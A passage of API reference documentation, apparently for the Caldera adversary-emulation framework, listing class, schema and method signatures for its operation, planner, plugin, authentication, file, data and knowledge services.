remove_nulls(in_data, **_)

remove_properties(data, **_)

class app.objects.c_agent.AgentSchema(*, only: Sequence[str] | AbstractSet[str] | None = None, exclude:


Sequence[str] | AbstractSet[str] = (), many: bool = False, context:
dict | None = None, load_only: Sequence[str] | AbstractSet[str] =
(), dump_only: Sequence[str] | AbstractSet[str] = (), partial: bool |
Sequence[str] | AbstractSet[str] | None = None, unknown: str |
None = None)
Bases: AgentFieldsSchema
build_agent(data, **kwargs)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

30.1. app package 187


caldera

app.objects.c_data_encoder module

class app.objects.c_data_encoder.DataEncoder(name, description)


Bases: FirstClassObjectInterface, BaseObject
abstract decode(data, **_)

display_schema = <DataEncoderSchema(many=False)>

abstract encode(data, **_)

schema = <DataEncoderSchema(many=False)>

store(ram)

property unique

class app.objects.c_data_encoder.DataEncoderSchema(*, only: Sequence[str] | AbstractSet[str] | None =


None, exclude: Sequence[str] | AbstractSet[str] =
(), many: bool = False, context: dict | None =
None, load_only: Sequence[str] | AbstractSet[str]
= (), dump_only: Sequence[str] | AbstractSet[str]
= (), partial: bool | Sequence[str] |
AbstractSet[str] | None = None, unknown: str |
None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.objects.c_obfuscator module

class app.objects.c_obfuscator.Obfuscator(name, description, module)


Bases: FirstClassObjectInterface, BaseObject
display_schema = <ObfuscatorSchema(many=False)>

load(agent)

schema = <ObfuscatorSchema(many=False)>

store(ram)

property unique

class app.objects.c_obfuscator.ObfuscatorSchema(*, only: Sequence[str] | AbstractSet[str] | None =


None, exclude: Sequence[str] | AbstractSet[str] = (),
many: bool = False, context: dict | None = None,
load_only: Sequence[str] | AbstractSet[str] = (),
dump_only: Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] | AbstractSet[str] | None
= None, unknown: str | None = None)
Bases: Schema
build_obfuscator(data, **kwargs)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

188 Chapter 30. app


caldera

app.objects.c_objective module

class app.objects.c_objective.Objective(id='', name='', description='', goals=None)


Bases: FirstClassObjectInterface, BaseObject
completed(facts=None)

property percentage

schema = <ObjectiveSchema(many=False)>

store(ram)

property unique

class app.objects.c_objective.ObjectiveSchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many:
bool = False, context: dict | None = None, load_only:
Sequence[str] | AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (), partial: bool |
Sequence[str] | AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
class Meta
Bases: object
unknown = 'exclude'

build_objective(data, **kwargs)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

remove_properties(data, **_)

app.objects.c_operation module

class app.objects.c_operation.HostSchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many: bool =
False, context: dict | None = None, load_only: Sequence[str] |
AbstractSet[str] = (), dump_only: Sequence[str] |
AbstractSet[str] = (), partial: bool | Sequence[str] |
AbstractSet[str] | None = None, unknown: str | None = None)
Bases: Schema
opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

exception app.objects.c_operation.InvalidOperationStateError
Bases: Exception
class app.objects.c_operation.Operation(name, adversary=None, agents=None, id='', jitter='2/8',
source=None, planner=None, state='running',
autonomous=True, obfuscator='plain-text', group=None,
auto_close=True, visibility=50, access=None,
use_learning_parsers=True)
Bases: FirstClassObjectInterface, BaseObject

30.1. app package 189


caldera

EVENT_EXCHANGE = 'operation'

EVENT_QUEUE_COMPLETED = 'completed'

EVENT_QUEUE_STATE_CHANGED = 'state_changed'

class Reason(value, names=None, *, module=None, qualname=None, type=None, start=1,


boundary=None)
Bases: Enum
EXECUTOR = 1

FACT_DEPENDENCY = 3

LINK_IGNORED = 4

OP_RUNNING = 6

OTHER = 7

PLATFORM = 0

PRIVILEGE = 2

UNTRUSTED = 5

class States(value, names=None, *, module=None, qualname=None, type=None, start=1,


boundary=None)
Bases: Enum
CLEANUP = 'cleanup'

FINISHED = 'finished'

OUT_OF_TIME = 'out_of_time'

PAUSED = 'paused'

RUNNING = 'running'

RUN_ONE_LINK = 'run_one_link'

async active_agents()

add_ignored_link(link_id)

add_link(link)

async all_facts()

async all_relationships()

async apply(link)

async cede_control_to_planner(services)

async close(services)

async event_logs(file_svc, data_svc, output=False)

190 Chapter 30. app


caldera

async get_active_agent_by_paw(paw)

classmethod get_finished_states()

async get_skipped_abilities_by_agent(data_svc)

classmethod get_states()

async has_fact(trait, value)

has_link(link_id)

async is_closeable()

async is_finished()

link_status()

ran_ability_id(ability_id)

async report(file_svc, data_svc, output=False)

async run(services)

schema = <OperationSchema(many=False)>

set_start_details()

property state

property states

store(ram)

property unique

async update_operation_agents(services)

update_untrusted_agents(agent)

async wait_for_completion()

async wait_for_links_completion(link_ids)
Wait for started links to be completed :param link_ids: :return: None
async write_event_logs_to_disk(file_svc, data_svc, output=False)

class app.objects.c_operation.OperationOutputRequestSchema(*, only: Sequence[str] |


AbstractSet[str] | None = None,
exclude: Sequence[str] |
AbstractSet[str] = (), many: bool =
False, context: dict | None = None,
load_only: Sequence[str] |
AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] |
AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema

30.1. app package 191


caldera

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

class app.objects.c_operation.OperationSchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many:
bool = False, context: dict | None = None, load_only:
Sequence[str] | AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (), partial: bool |
Sequence[str] | AbstractSet[str] | None = None,
unknown: str | None = None)
Bases: Schema
class Meta
Bases: object
unknown = 'exclude'

build_operation(data, **kwargs)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

remove_properties(data, **_)

class app.objects.c_operation.OperationSchemaAlt(*, only: Sequence[str] | AbstractSet[str] | None =


None, exclude: Sequence[str] | AbstractSet[str] = (),
many: bool = False, context: dict | None = None,
load_only: Sequence[str] | AbstractSet[str] = (),
dump_only: Sequence[str] | AbstractSet[str] = (),
partial: bool | Sequence[str] | AbstractSet[str] |
None = None, unknown: str | None = None)
Bases: OperationSchema
property chain

property host_group

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

property source

property visibility

app.objects.c_planner module

class app.objects.c_planner.Planner(name='', planner_id='', module='', params=None,


stopping_conditions=None, description=None,
ignore_enforcement_modules=(), allow_repeatable_abilities=False,
plugin='')
Bases: FirstClassObjectInterface, BaseObject
display_schema = <PlannerSchema(many=False)>

schema = <PlannerSchema(many=False)>

store(ram)

property unique

192 Chapter 30. app


caldera

async which_plugin()

class app.objects.c_planner.PlannerSchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many: bool =
False, context: dict | None = None, load_only: Sequence[str] |
AbstractSet[str] = (), dump_only: Sequence[str] |
AbstractSet[str] = (), partial: bool | Sequence[str] |
AbstractSet[str] | None = None, unknown: str | None = None)
Bases: Schema
build_planner(data, **kwargs)

fix_id(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.objects.c_plugin module

class app.objects.c_plugin.Plugin(name='virtual', description=None, address=None, enabled=False,


data_dir=None, access=None)
Bases: FirstClassObjectInterface, BaseObject
async destroy(services)

display_schema = <PluginSchema(many=False)>

async enable(services)

async expand(services)

load_plugin()

schema = <PluginSchema(many=False)>

store(ram)

property unique

class app.objects.c_plugin.PluginSchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many: bool =
False, context: dict | None = None, load_only: Sequence[str] |
AbstractSet[str] = (), dump_only: Sequence[str] |
AbstractSet[str] = (), partial: bool | Sequence[str] |
AbstractSet[str] | None = None, unknown: str | None = None)
Bases: Schema
build_plugin(data, **kwargs)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

30.1. app package 193


caldera

app.objects.c_schedule module

class app.objects.c_schedule.Schedule(schedule, task, id='')


Bases: FirstClassObjectInterface, BaseObject
schema = <ScheduleSchema(many=False)>

store(ram)

property unique

class app.objects.c_schedule.ScheduleSchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many: bool
= False, context: dict | None = None, load_only:
Sequence[str] | AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (), partial: bool |
Sequence[str] | AbstractSet[str] | None = None, unknown:
str | None = None)
Bases: Schema
class Meta
Bases: object
unknown = 'exclude'

build_schedule(data, **kwargs)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

validate_schedule(value)

app.objects.c_source module

class app.objects.c_source.Adjustment(ability_id, trait, value, offset)


Bases: tuple
ability_id
Alias for field number 0
offset
Alias for field number 3
trait
Alias for field number 1
value
Alias for field number 2
class app.objects.c_source.AdjustmentSchema(*, only: Sequence[str] | AbstractSet[str] | None = None,
exclude: Sequence[str] | AbstractSet[str] = (), many: bool
= False, context: dict | None = None, load_only:
Sequence[str] | AbstractSet[str] = (), dump_only:
Sequence[str] | AbstractSet[str] = (), partial: bool |
Sequence[str] | AbstractSet[str] | None = None, unknown:
str | None = None)
Bases: Schema

194 Chapter 30. app


caldera

build_adjustment(data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

class app.objects.c_source.Source(name='', id='', facts=(), relationships=(), rules=(), adjustments=(),


plugin='')
Bases: FirstClassObjectInterface, BaseObject
display_schema = <SourceSchema(many=False)>

schema = <SourceSchema(many=False)>

store(ram)

property unique

class app.objects.c_source.SourceSchema(*, only: Sequence[str] | AbstractSet[str] | None = None,


exclude: Sequence[str] | AbstractSet[str] = (), many: bool =
False, context: dict | None = None, load_only: Sequence[str] |
AbstractSet[str] = (), dump_only: Sequence[str] |
AbstractSet[str] = (), partial: bool | Sequence[str] |
AbstractSet[str] | None = None, unknown: str | None = None)
Bases: Schema
build_source(data, **kwargs)

fix_adjustments(in_data, **_)

opts: SchemaOpts = <marshmallow.schema.SchemaOpts object>

app.planners namespace

Submodules

app.planners.atomic module

class app.planners.atomic.LogicalPlanner(operation, planning_svc, stopping_conditions=())


Bases: object
async atomic()

async execute()

app.service namespace

Subpackages

app.service.interfaces namespace

Submodules

app.service.interfaces.i_app_svc module

30.1. app package 195


caldera

class app.service.interfaces.i_app_svc.AppServiceInterface
Bases: ABC
abstract find_link(unique)
Locate a given link by its unique property :param unique: :return:
abstract find_op_with_link(link_id)
Locate an operation with the given link ID :param link_id: :return: Operation or None
abstract load_plugin_expansions(plugins)

abstract load_plugins(plugins)
Store all plugins in the data store :return:
abstract register_contacts()

abstract resume_operations()
Resume all unfinished operations :return: None
abstract retrieve_compiled_file(name, platform, location='')

abstract run_scheduler()
Kick off all scheduled jobs, as their schedule determines :return:
abstract start_sniffer_untrusted_agents()
Cyclic function that repeatedly checks if there are agents to be marked as untrusted :return: None
abstract teardown()

app.service.interfaces.i_auth_svc module

class app.service.interfaces.i_auth_svc.AuthServiceInterface
Bases: ABC
abstract apply(app, users)
Set up security on server boot :param app: :param users: :return: None
abstract check_permissions(group, request)
Check if a request is allowed based on the user permissions :param group: :param request: :return: None
abstract get_permissions(request)

abstract login_user(request)
Kick off all scheduled jobs, as their schedule determines :return:
abstract static logout_user(request)
Log the user out :param request: :return: None

196 Chapter 30. app


caldera

app.service.interfaces.i_contact_svc module

class app.service.interfaces.i_contact_svc.ContactServiceInterface
Bases: ABC
abstract build_filename()

abstract handle_heartbeat()
Accept all components of an agent profile and save a new agent or register an updated heartbeat. :return:
the agent object, instructions to execute
abstract register_contact(contact)

abstract register_tunnel(tunnel)

app.service.interfaces.i_data_svc module

class app.service.interfaces.i_data_svc.DataServiceInterface
Bases: ObjectServiceInterface
abstract apply(collection)
Add a new collection to RAM
Parameters
collection –
Returns
abstract load_data(plugins)
Non-blocking read all the data sources to populate the object store
Returns
None
abstract locate(object_name, match)
Find all c_objects which match a search. Return all c_objects if no match.
Parameters
• object_name –
• match – dict()
Returns
a list of c_object types
abstract reload_data(plugins)
Blocking read all the data sources to populate the object store
Returns
None
abstract remove(object_name, match)
Remove any c_objects which match a search
Parameters
• object_name –
• match – dict()

30.1. app package 197


caldera

Returns
abstract store(c_object)
Accept any c_object type and store it (create/update) in RAM
Parameters
c_object –
Returns
a single c_object

app.service.interfaces.i_event_svc module

class app.service.interfaces.i_event_svc.EventServiceInterface
Bases: ABC
abstract fire_event(event, **callback_kwargs)
Fire an event :param event: The event topic and (optional) subtopic, separated by a ‘/’ :param call-
back_kwargs: Any additional parameters to pass to the event handler :return: None
abstract observe_event(event, callback)
Register an event handler :param event: The event topic and (optional) subtopic, separated by a ‘/’ :param
callback: The function that will handle the event :return: None

app.service.interfaces.i_file_svc module

class app.service.interfaces.i_file_svc.FileServiceInterface
Bases: ABC
abstract add_special_payload(name, func)
Call a special function when specific payloads are downloaded :param name: :param func: :return:
abstract compile_go(platform, output, src_fle, arch, ldflags, cflags, buildmode, build_dir, loop)
Dynamically compile a go file :param platform: :param output: :param src_fle: :param arch: Compile
architecture selection (defaults to AMD64) :param ldflags: A string of ldflags to use when building the go
executable :param cflags: A string of CFLAGS to pass to the go compiler :param buildmode: GO compiler
buildmode flag :param build_dir: The path to build should take place in :return:
abstract create_exfil_sub_directory(dir_name)

abstract find_file_path(name, location)


Find the location on disk of a file by name. :param name: :param location: :return: a tuple: the plugin the
file is found in & the relative file path
abstract get_file(headers)
Retrieve file :param headers: headers dictionary. The file key is REQUIRED. :type headers: dict or dict-
equivalent :return: File contents and optionally a display_name if the payload is a special payload :raises:
KeyError if file key is not provided, FileNotFoundError if file cannot be found
abstract get_payload_name_from_uuid(payload)

abstract read_file(name, location)


Open a file and read the contents :param name: :param location: :return: a tuple (file_path, contents)

198 Chapter 30. app


caldera

abstract read_result_file(link_id, location)


Read a result file. If file encryption is enabled, this method will return the plaintext content. Returns
contents as a base64 encoded dictionary. :param link_id: The id of the link to return results from. :param
location: The path to results directory. :return:
abstract save_file(filename, payload, target_dir)

abstract save_multipart_file_upload(request, target_dir)


Accept a multipart file via HTTP and save it to the server :param request: :param target_dir: The path of
the directory to save the uploaded file to.
abstract write_result_file(link_id, output, location)
Writes the results of a link execution to disk. If file encryption is enabled, the results file will contain
ciphertext. :param link_id: The link id of the result being written. :param output: The content of the link’s
output. :param location: The path to the results directory. :return:

app.service.interfaces.i_knowledge_svc module

class app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
Bases: ObjectServiceInterface
abstract async add_fact(fact, constraints=None)
Add a fact to the internal store
Parameters
• fact – Fact to add
• constraints – any potential constraints
abstract async add_relationship(relationship, constraints=None)
Add a relationship to the internal store
Parameters
• relationship – Relationship object to add
• constraints – optional constraints on the use of the relationship
abstract async add_rule(rule, constraints=None)
Add a rule to the internal store
Parameters
• rule – Rule object to add
• constraints – dictionary containing fields to match on
abstract async check_fact_exists(fact, listing=None)
Check to see if a fact already exists in the knowledge store, or if a listing is provided, in said listing
Parameters
• fact – The fact to check for
• listing – Optional specific listing to examine
Returns
Bool indicating whether or not the fact is already present

30.1. app package 199


caldera

abstract async delete_fact(criteria)


Delete a fact from the internal store
Parameters
criteria – dictionary containing fields to match on
abstract async delete_relationship(criteria)
Remove a relationship from the internal store
Parameters
criteria – dictionary containing fields to match on
abstract async delete_rule(criteria)
Remove a rule from the internal store
Parameters
criteria – dictionary containing fields to match on
abstract async get_fact_origin(fact)
Identify the place where a fact originated, either the source that loaded it or its original link
Parameters
fact – Fact to get origin for (can be either a trait string or a full blown fact)
Returns
tuple - (String of either origin source id or origin link id, fact origin type)
abstract async get_facts(criteria, restrictions=None)
Retrieve a fact from the internal store
Parameters
criteria – dictionary containing fields to match on
Returns
list of facts matching the criteria
abstract async get_meta_facts(meta_fact=None, agent=None, group=None)
Returns the complete set of facts associated with a meta-fact construct [In Development]
abstract async get_relationships(criteria, restrictions=None)
Retrieve relationships from the internal store
Parameters
criteria – dictionary containing fields to match on
Returns
list of matching relationships
abstract async get_rules(criteria, restrictions=None)
Retrieve rules from the internal store
Parameters
criteria – dictionary containing fields to match on
Returns
list of matching rules
abstract async update_fact(criteria, updates)
Update a fact in the internal store
Parameters

200 Chapter 30. app


caldera

• criteria – dictionary containing fields to match on


• updates – dictionary containing fields to replace
abstract async update_relationship(criteria, updates)
Update a relationship in the internal store
Parameters
• criteria – dictionary containing fields to match on
• updates – dictionary containing fields to modify

app.service.interfaces.i_learning_svc module

class app.service.interfaces.i_learning_svc.LearningServiceInterface
Bases: ABC
abstract static add_parsers(directory)

abstract build_model()
The model is a static set of all variables used inside all ability commands This can be used to determine
which facts - when found together - are more likely to be used together :return:
abstract learn(facts, link, blob)

app.service.interfaces.i_login_handler module

class app.service.interfaces.i_login_handler.LoginHandlerInterface(services, name)


Bases: ABC, BaseObject
abstract async handle_login(request, **kwargs)
Handle login request
Parameters
request –
Returns
the response/location of where the user is trying to navigate
Raises
HTTP exception, such as HTTPFound for redirect, or HTTPUnauthorized
abstract async handle_login_redirect(request, **kwargs)
Handle redirect to login
Parameters
request –
Returns
the response/location of where the user is trying to navigate
Raises
HTTP exception, such as HTTPFound for redirect, or HTTPUnauthorized
property name

30.1. app package 201


caldera

app.service.interfaces.i_object_svc module

class app.service.interfaces.i_object_svc.ObjectServiceInterface
Bases: ABC
abstract static destroy()
Clear out all data :return:
abstract restore_state()
Load data from disk :return:
abstract save_state()
Save stored data to disk :return:

app.service.interfaces.i_planning_svc module

class app.service.interfaces.i_planning_svc.PlanningServiceInterface
Bases: ABC
abstract generate_and_trim_links(agent, operation, abilities, trim)

abstract get_cleanup_links(operation, agent)


For a given operation, create all cleanup links. If agent is supplied, only return cleanup links for that agent.
:param operation: :param agent: :return: None
abstract get_links(operation, buckets, agent, trim)
For an operation and agent combination, create links (that can be executed). When no agent is sup-
plied, links for all agents are returned :param operation: :param buckets: :param agent: :param trim: call
trim_links() on list of links before returning :return: a list of links
abstract static sort_links(self , links)
Sort links by their score then by the order they are defined in an adversary profile

app.service.interfaces.i_rest_svc module

class app.service.interfaces.i_rest_svc.RestServiceInterface
Bases: ABC
abstract apply_potential_link(link)

abstract construct_agents_for_group(group)

abstract create_operation(access, data)

abstract create_schedule(access, data)

abstract delete_ability(data)

abstract delete_adversary(data)

abstract delete_agent(data)

abstract delete_operation(data)

202 Chapter 30. app


caldera

abstract display_objects(object_name, data)

abstract display_operation_report(data)

abstract display_result(data)

abstract download_contact_report(contact)

abstract find_abilities(paw)

abstract get_link_pin(json_data)

abstract get_potential_links(op_id, paw)

abstract list_payloads()

abstract persist_ability(access, data)

abstract persist_adversary(access, data)


Save a new adversary from either the GUI or REST API. This writes a new YML file into the core data/
directory. :param access :param data: :return: the ID of the created adversary
abstract persist_source(access, data)

abstract task_agent_with_ability(paw, ability_id, obfuscator, facts)

abstract update_agent_data(data)

abstract update_chain_data(data)

abstract update_config(data)

abstract update_operation(op_id, state, autonomous)

abstract update_planner(data)
Update a new planner from either the GUI or REST API with new stopping conditions. This overwrites the
existing YML file. :param data: :return: the ID of the created adversary

app.service.login_handlers namespace

Submodules

app.service.login_handlers.default module

class app.service.login_handlers.default.DefaultLoginHandler(services)
Bases: LoginHandlerInterface
async handle_login(request, **kwargs)
Handle login request
Parameters
request –
Returns
the response/location of where the user is trying to navigate
Raises
HTTP exception, such as HTTPFound for redirect, or HTTPUnauthorized

30.1. app package 203


caldera

async handle_login_redirect(request, **kwargs)


Handle login redirect.
Returns
login.html template if use_template is set to True in kwargs.
Raises
web.HTTPFound – HTTPFound exception to redirect to the ‘/login’ page if use_template is
set to False or not included in kwargs.

Submodules

app.service.app_svc module

class app.service.app_svc.AppService(application)
Bases: AppServiceInterface, BaseService
property errors

async find_link(unique)
Locate a given link by its unique property :param unique: :return:
async find_op_with_link(link_id)
Retrieves the operation that a link_id belongs to. Will search currently running operations first.
get_loaded_plugins()

async load_plugin_expansions(plugins=())

async load_plugins(plugins)
Store all plugins in the data store :return:
async register_contact_tunnels(contact_svc)

async register_contacts()

register_subapp(path: str, app: Application)


Registers a web application under the root application.
Requests under path will be routed to this app.
async resume_operations()
Resume all unfinished operations :return: None
async retrieve_compiled_file(name, platform, location='')

async run_scheduler()
Kick off all scheduled jobs, as their schedule determines :return:
async start_sniffer_untrusted_agents()
Cyclic function that repeatedly checks if there are agents to be marked as untrusted :return: None
async teardown(main_config_file='default')

async update_operations_with_untrusted_agent(untrusted_agent)

async validate_requirement(requirement, params)

204 Chapter 30. app


caldera

async validate_requirements()

async watch_ability_files()

class app.service.app_svc.Error(name, msg, optional)


Bases: tuple
msg
Alias for field number 1
name
Alias for field number 0
optional
Alias for field number 2

app.service.auth_svc module

class app.service.auth_svc.AuthService
Bases: AuthServiceInterface, BaseService
class User(username, password, permissions)
Bases: tuple
password
Alias for field number 1
permissions
Alias for field number 2
username
Alias for field number 0
async apply(app, users)
Set up security on server boot :param app: :param users: :return: None
async check_permissions(group, request)
Check if a request is allowed based on the user permissions :param group: :param request: :return: None
async create_user(username, password, group)

property default_login_handler

async get_permissions(request)

async handle_successful_login(request, username)

async is_request_authenticated(request)

async login_redirect(request, use_template=True)


Redirect user to login page using the configured login handler. Will fall back to the default login handler if
an unexpected exception is raised.
Parameters
• request –
• use_template (bool, optional) – Determines if the login handler should return an
html template rather than raise an HTTP redirect, if applicable. Defaults to True.

30.1. app package 205


caldera

async login_user(request)
Log a user in and save the session
Parameters
request –
Raises
• web.HTTPRedirection – the HTTP response/location of where the user is trying to nav-
igate
• web.HTTPUnauthorized – HTTP unauthorized response as provided by the login handler.
• web.HTTPForbidden – HTTP forbidden response as provided by the login handler.
• web.HTTPSuccessful – HTTP successful response as provided by the login handler.
async static logout_user(request)
Log the user out :param request: :return: None
request_has_valid_api_key(request)

async request_has_valid_user_session(request)

async set_login_handlers(services, primary_handler=None)


Sets the default login handler for the auth service, as well as the custom login handler if specified in the
primary_handler parameter or in the config file. The custom login handler will take priority for login
methods during login_user and redirects during check_permissions.
If no login handler was specified in the config file or via the primary_handler parameter, the auth service
will use only the default handler.
Parameters
• services (dict) – services used to set up the login handlers.
• primary_handler (LoginHandlerInterface, optional) – Login handler for the
auth service. If None, the config file will be used to load the primary login handler. Must
implement the LoginHandlerInterface. Defaults to None.
Raises
TypeError – The provided login handler does not implement the LoginHandlerInterface.
class app.service.auth_svc.DictionaryAuthorizationPolicy(user_map)
Bases: AbstractAuthorizationPolicy
async authorized_userid(identity)
Retrieve authorized user id. Return the user_id of the user identified by the identity or ‘None’ if no user
exists related to the identity.
async permits(identity, permission, context=None)
Check user permissions. Return True if the identity is allowed the permission in the current context, else
return False.
app.service.auth_svc.check_authorization(func)
Authorization Decorator This requires that the calling class have self.auth_svc set to the authentication service.
app.service.auth_svc.for_all_public_methods(decorator)
class decorator – adds decorator to all public methods

206 Chapter 30. app


caldera

app.service.contact_svc module

class app.service.contact_svc.ContactService
Bases: ContactServiceInterface, BaseService
async build_filename()

async deregister_contacts()

async get_contact(name)

async get_tunnel(name)

async handle_heartbeat(**kwargs)
Accept all components of an agent profile and save a new agent or register an updated heartbeat. :return:
the agent object, instructions to execute
async register_contact(contact)

async register_tunnel(tunnel)

app.service.contact_svc.report(func)

app.service.data_svc module

class app.service.data_svc.DataService
Bases: DataServiceInterface, BaseService
async apply(collection)
Add a new collection to RAM
Parameters
collection –
Returns
async convert_v0_ability_executor(ability_data: dict)
Checks if ability file follows v0 executor format, otherwise assumes v1 ability formatting.
async convert_v0_ability_requirements(requirements_data: list)
Checks if ability file follows v0 requirement format, otherwise assumes v1 ability formatting.
convert_v0_ability_technique_id(ability_data: dict)
Checks if ability file follows v0 technique_id format, otherwise assumes v1 ability formatting.
convert_v0_ability_technique_name(ability_data: dict)
Checks if ability file follows v0 technique_name format, otherwise assumes v1 ability formatting.
async create_or_update_everything_adversary()

async static destroy()


Reset the caldera data directory and server state.
This creates a gzipped tarball backup of the data files tracked by caldera. Paths are preserved within the
tarball, with all files having “data/” as the root.
async get_facts_from_source(fact_source_id)

30.1. app package 207


caldera

async load_ability_file(filename, access)

async load_adversary_file(filename, access)

async load_data(plugins=())
Non-blocking read all the data sources to populate the object store
Returns
None
async load_executors_from_list(executors: list)

async load_executors_from_platform_dict(platforms)

async load_objective_file(filename, access)

async load_requirements_from_list(requirements: list)

async load_source_file(filename, access)

async load_yaml_file(object_class, filename, access)

async locate(object_name, match=None)


Find all c_objects which match a search. Return all c_objects if no match.
Parameters
• object_name –
• match – dict()
Returns
a list of c_object types
async reload_data(plugins=())
Blocking read all the data sources to populate the object store
Returns
None
async remove(object_name, match)
Remove any c_objects which match a search
Parameters
• object_name –
• match – dict()
Returns
async restore_state()
Restore the object database
Returns
async save_state()
Save stored data to disk :return:
async search(value, object_name)

208 Chapter 30. app


caldera

async store(c_object)
Accept any c_object type and store it (create/update) in RAM
Parameters
c_object –
Returns
a single c_object

app.service.event_svc module

class app.service.event_svc.EventService
Bases: EventServiceInterface, BaseService
async fire_event(exchange=None, queue=None, timestamp=True, **callback_kwargs)
Fire an event :param event: The event topic and (optional) subtopic, separated by a ‘/’ :param call-
back_kwargs: Any additional parameters to pass to the event handler :return: None
async handle_exceptions(awaitable)

async notify_global_event_listeners(event, **callback_kwargs)


Notify all registered global event listeners when an event is fired.
Parameters
event (str) – Event string (i.e. ‘<exchange>/<queue>’)
async observe_event(callback, exchange=None, queue=None)
Register a callback for a certain event. Callback is fired when an event of that type is observed.
Parameters
• callback (function) – Callback function
• exchange (str) – event exchange
• queue (str) – event queue
async register_global_event_listener(callback)
Register a global event listener that is fired when any event is fired.
Parameters
callback (function) – Callback function

app.service.file_svc module

class app.service.file_svc.FileSvc
Bases: FileServiceInterface, BaseService
async add_special_payload(name, func)
Call a special function when specific payloads are downloaded
Parameters
• name –
• func –
Returns

30.1. app package 209


caldera

static add_xored_extension(filename)

async compile_go(platform, output, src_fle, arch='amd64', ldflags='-s -w', cflags='', buildmode='',


build_dir='.', loop=None)
Dynamically compile a go file :param platform: :param output: :param src_fle: :param arch: Compile
architecture selection (defaults to AMD64) :param ldflags: A string of ldflags to use when building the go
executable :param cflags: A string of CFLAGS to pass to the go compiler :param buildmode: GO compiler
buildmode flag :param build_dir: The path to build should take place in :return:
async create_exfil_operation_directory(dir_name, agent_name)

async create_exfil_sub_directory(dir_name)

async find_file_path(name, location='')


Find the location on disk of a file by name. :param name: :param location: :return: a tuple: the plugin the
file is found in & the relative file path
async get_file(headers)
Retrieve file :param headers: headers dictionary. The file key is REQUIRED. :type headers: dict or dict-
equivalent :return: File contents and optionally a display_name if the payload is a special payload :raises:
KeyError if file key is not provided, FileNotFoundError if file cannot be found
get_payload_name_from_uuid(payload)

get_payload_packer(packer)

static is_extension_xored(filename)

list_exfilled_files(startdir=None)

async read_file(name, location='payloads')


Open a file and read the contents :param name: :param location: :return: a tuple (file_path, contents)
read_result_file(link_id, location='data/results')
Read a result file. If file encryption is enabled, this method will return the plaintext content. Returns
contents as a base64 encoded dictionary. :param link_id: The id of the link to return results from. :param
location: The path to results directory. :return:
static remove_xored_extension(filename)

async save_file(filename, payload, target_dir, encrypt=True, encoding=None)

async save_multipart_file_upload(request, target_dir, encrypt=True)


Accept a multipart file via HTTP and save it to the server :param request: :param target_dir: The path of
the directory to save the uploaded file to.
async static walk_file_path(path, target)

write_result_file(link_id, output, location='data/results')


Writes the results of a link execution to disk. If file encryption is enabled, the results file will contain
ciphertext. :param link_id: The link id of the result being written. :param output: The content of the link’s
output. :param location: The path to the results directory. :return:

210 Chapter 30. app


caldera

app.service.knowledge_svc module

class app.service.knowledge_svc.KnowledgeService
Bases: KnowledgeServiceInterface, BaseService
async add_fact(fact, constraints=None)
Add a fact to the internal store
Parameters
• fact – Fact to add
• constraints – any potential constraints
async add_relationship(relationship, constraints=None)
Add a relationship to the internal store
Parameters
• relationship – Relationship object to add
• constraints – optional constraints on the use of the relationship
async add_rule(rule, constraints=None)
Add a rule to the internal store
Parameters
• rule – Rule object to add
• constraints – dictionary containing fields to match on
async check_fact_exists(fact, listing=None)
Check to see if a fact already exists in the knowledge store, or if a listing is provided, in said listing
Parameters
• fact – The fact to check for
• listing – Optional specific listing to examine
Returns
Bool indicating whether or not the fact is already present
async delete_fact(criteria)
Delete a fact from the internal store
Parameters
criteria – dictionary containing fields to match on
async delete_relationship(criteria)
Remove a relationship from the internal store
Parameters
criteria – dictionary containing fields to match on
async delete_rule(criteria)
Remove a rule from the internal store
Parameters
criteria – dictionary containing fields to match on

30.1. app package 211


caldera

async destroy()
Clear out all data :return:
async get_fact_origin(fact)
Identify the place where a fact originated, either the source that loaded it or its original link
Parameters
fact – Fact to get origin for (can be either a trait string or a full blown fact)
Returns
tuple - (String of either origin source id or origin link id, fact origin type)
async get_facts(criteria, restrictions=None)
Retrieve a fact from the internal store
Parameters
criteria – dictionary containing fields to match on
Returns
list of facts matching the criteria
async get_meta_facts(meta_fact=None, agent=None, group=None)
Returns the complete set of facts associated with a meta-fact construct [In Development]
async get_relationships(criteria, restrictions=None)
Retrieve relationships from the internal store
Parameters
criteria – dictionary containing fields to match on
Returns
list of matching relationships
async get_rules(criteria, restrictions=None)
Retrieve rules from the internal store
Parameters
criteria – dictionary containing fields to match on
Returns
list of matching rules
async restore_state()
Load data from disk :return:
async save_state()
Save stored data to disk :return:
async update_fact(criteria, updates)
Update a fact in the internal store
Parameters
• criteria – dictionary containing fields to match on
• updates – dictionary containing fields to replace
async update_relationship(criteria, updates)
Update a relationship in the internal store
Parameters
